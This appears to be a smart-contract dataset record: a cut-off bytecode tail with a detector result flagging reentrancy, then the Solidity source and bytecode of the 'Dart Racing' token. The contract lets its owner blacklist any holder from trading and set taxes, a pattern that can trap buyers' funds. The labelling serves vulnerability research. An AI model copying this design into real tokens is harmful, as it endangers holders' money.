40919091013590565b600060208284031215611af357600080fd5b81356112db81611935565b8035801515811461195557600080fd5b600060208284031215611b2057600080fd5b6112db82611afe565b600060208284031215611b3b57600080fd5b5035919050565b60008060008060808587031215611b5857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8957600080fd5b833567ffffffffffffffff80821115611ba157600080fd5b818601915086601f830112611bb557600080fd5b813581811115611bc457600080fd5b8760208260051b8501011115611bd957600080fd5b602092830195509350611bef9186019050611afe565b90509250925092565b60008060408385031215611c0b57600080fd5b8235611c1681611935565b91506020830135611c2681611935565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca657611ca6611c7c565b5060010190565b60008219821115611cc057611cc0611c7c565b500190565b600082821015611cd757611cd7611c7c565b500390565b600060208284031215611cee57600080fd5b81516112db81611935565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d495784516001600160a01b031683529383019391830191600101611d24565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da657611da6611c7c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200d9523013be8eeead11757a6bf2fdd3a00a15af6a1770ef6470b0613fd3a91e964736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,378
0x4409787a201e0bf550e15d2ec862db085860f09f
/** *Submitted for verification at Etherscan.io on 2022-04-17 */ /* DART Racing: Faster than the speed of light! Only on ShibaSwap. */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DART is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Dart Racing"; string private constant _symbol = "DART"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x3e28961E7882a83C93CE1773A780c4A1947166D9); _feeAddrWallet2 = payable(0x3e28961E7882a83C93CE1773A780c4A1947166D9); _buyTax = 10; _sellTax = 10; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (40 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x03f7724180AA6b939894B5Ca4314783B0b36b329); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 5000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 5000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 11) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 11) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c8063715018a6116100a0578063c3c8cd8011610064578063c3c8cd80146103cc578063c9567bf9146103e3578063dbe8272c146103fa578063dc1052e214610423578063dd62ed3e1461044c5761012a565b8063715018a6146102f95780638da5cb5b1461031057806395d89b411461033b578063a9059cbb14610366578063b515566a146103a35761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c5780636fc3eaec146102a557806370a08231146102bc5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631bbae6e0146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610489565b6040516101519190612d7a565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906128e3565b6104c6565b60405161018e9190612d5f565b60405180910390f35b3480156101a357600080fd5b506101ac6104e4565b6040516101b99190612edc565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129b2565b6104f5565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612894565b6105a5565b60405161021f9190612d5f565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612806565b61067e565b005b34801561025d57600080fd5b5061026661076e565b6040516102739190612f51565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612960565b610777565b005b3480156102b157600080fd5b506102ba610829565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612806565b6108cf565b6040516102f09190612edc565b60405180910390f35b34801561030557600080fd5b5061030e610920565b005b34801561031c57600080fd5b50610325610a73565b6040516103329190612c91565b60405180910390f35b34801561034757600080fd5b50610350610a9c565b60405161035d9190612d7a565b60405180910390f35b34801561037257600080fd5b5061038d600480360381019061038891906128e3565b610ad9565b60405161039a9190612d5f565b60405180910390f35b3480156103af57600080fd5b506103ca60048036038101906103c5919061291f565b610af7565b005b3480156103d857600080fd5b506103e1610c47565b005b3480156103ef57600080fd5b506103f8610cf5565b005b34801561040657600080fd5b50610421600480360381019061041c91906129b2565b611251565b005b34801561042f57600080fd5b5061044a600480360381019061044591906129b2565b6112fa565b005b34801561045857600080fd5b50610473600480360381019061046e9190612858565b6113a3565b6040516104809190612edc565b60405180910390f35b60606040518060400160405280600b81526020017f4461727420526163696e67000000000000000000000000000000000000000000815250905090565b60006104da6104d361142a565b8484611432565b6001905092915050565b6000683635c9adc5dea00000905090565b6104fd61142a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461058a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058190612e3c565b60405180910390fd5b674563918244f400008111156105a257806012819055505b50565b60006105b28484846115fd565b610673846105be61142a565b61066e856040518060600160405280602881526020016135c360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061062461142a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c049092919063ffffffff16565b611432565b600190509392505050565b61068661142a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610713576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070a90612e3c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61077f61142a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461080c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080390612e3c565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b61083161142a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b590612e3c565b60405180910390fd5b60004790506108cc81611c68565b50565b6000610919600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cd4565b9050919050565b61092861142a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ac90612e3c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4441525400000000000000000000000000000000000000000000000000000000815250905090565b6000610aed610ae661142a565b84846115fd565b6001905092915050565b610aff61142a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8390612e3c565b60405180910390fd5b60005b8151811015610c4357600160066000848481518110610bd7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c3b906131f2565b915050610b8f565b5050565b610c4f61142a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd390612e3c565b60405180910390fd5b6000610ce7306108cf565b9050610cf281611d42565b50565b610cfd61142a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8190612e3c565b60405180910390fd5b601160149054906101000a900460ff1615610dda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd190612ebc565b60405180910390fd5b60007303f7724180aa6b939894b5ca4314783b0b36b329905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e6a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611432565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610eb057600080fd5b505afa158015610ec4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee8919061282f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f4a57600080fd5b505afa158015610f5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f82919061282f565b6040518363ffffffff1660e01b8152600401610f9f929190612cac565b602060405180830381600087803b158015610fb957600080fd5b505af1158015610fcd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff1919061282f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061107a306108cf565b600080611085610a73565b426040518863ffffffff1660e01b81526004016110a796959493929190612cfe565b6060604051808303818588803b1580156110c057600080fd5b505af11580156110d4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110f991906129db565b5050506001601160166101000a81548160ff0219169083151502179055506000601160176101000a81548160ff021916908315150217905550674563918244f400006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016111fb929190612cd5565b602060405180830381600087803b15801561121557600080fd5b505af1158015611229573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124d9190612989565b5050565b61125961142a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112dd90612e3c565b60405180910390fd5b600b8110156112f75780600c819055505b50565b61130261142a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461138f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138690612e3c565b60405180910390fd5b600b8110156113a05780600d819055505b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149990612e9c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150990612ddc565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115f09190612edc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561166d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166490612e7c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d490612d9c565b60405180910390fd5b60008111611720576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171790612e5c565b60405180910390fd5b6000600a81905550600d54600b81905550611739610a73565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117a75750611777610a73565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611bf457600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118505750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61185957600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119045750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561195a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119725750601160179054906101000a900460ff165b15611a225760125481111561198657600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119d157600080fd5b6028426119de9190613012565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611acd5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b235750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b3a576000600a81905550600c54600b819055505b6000611b45306108cf565b9050601160159054906101000a900460ff16158015611bb25750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bca5750601160169054906101000a900460ff165b15611bf257611bd881611d42565b60004790506000811115611bf057611bef47611c68565b5b505b505b611bff83838361203c565b505050565b6000838311158290611c4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c439190612d7a565b60405180910390fd5b5060008385611c5b91906130f3565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cd0573d6000803e3d6000fd5b5050565b6000600854821115611d1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1290612dbc565b60405180910390fd5b6000611d2561204c565b9050611d3a818461207790919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611da0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dce5781602001602082028036833780820191505090505b5090503081600081518110611e0c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611eae57600080fd5b505afa158015611ec2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ee6919061282f565b81600181518110611f20577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f8730601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611432565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611feb959493929190612ef7565b600060405180830381600087803b15801561200557600080fd5b505af1158015612019573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6120478383836120c1565b505050565b600080600061205961228c565b91509150612070818361207790919063ffffffff16565b9250505090565b60006120b983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506122ee565b905092915050565b6000806000806000806120d387612351565b95509550955095509550955061213186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121c685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061221281612461565b61221c848361251e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122799190612edc565b60405180910390a3505050505050505050565b600080600060085490506000683635c9adc5dea0000090506122c2683635c9adc5dea0000060085461207790919063ffffffff16565b8210156122e157600854683635c9adc5dea000009350935050506122ea565b81819350935050505b9091565b60008083118290612335576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232c9190612d7a565b60405180910390fd5b50600083856123449190613068565b9050809150509392505050565b600080600080600080600080600061236e8a600a54600b54612558565b925092509250600061237e61204c565b905060008060006123918e8787876125ee565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006123fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c04565b905092915050565b60008082846124129190613012565b905083811015612457576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244e90612dfc565b60405180910390fd5b8091505092915050565b600061246b61204c565b90506000612482828461267790919063ffffffff16565b90506124d681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612533826008546123b990919063ffffffff16565b60088190555061254e8160095461240390919063ffffffff16565b6009819055505050565b6000806000806125846064612576888a61267790919063ffffffff16565b61207790919063ffffffff16565b905060006125ae60646125a0888b61267790919063ffffffff16565b61207790919063ffffffff16565b905060006125d7826125c9858c6123b990919063ffffffff16565b6123b990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612607858961267790919063ffffffff16565b9050600061261e868961267790919063ffffffff16565b90506000612635878961267790919063ffffffff16565b9050600061265e8261265085876123b990919063ffffffff16565b6123b990919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561268a57600090506126ec565b600082846126989190613099565b90508284826126a79190613068565b146126e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126de90612e1c565b60405180910390fd5b809150505b92915050565b600061270561270084612f91565b612f6c565b9050808382526020820190508285602086028201111561272457600080fd5b60005b85811015612754578161273a888261275e565b845260208401935060208301925050600181019050612727565b5050509392505050565b60008135905061276d8161357d565b92915050565b6000815190506127828161357d565b92915050565b600082601f83011261279957600080fd5b81356127a98482602086016126f2565b9150509291505056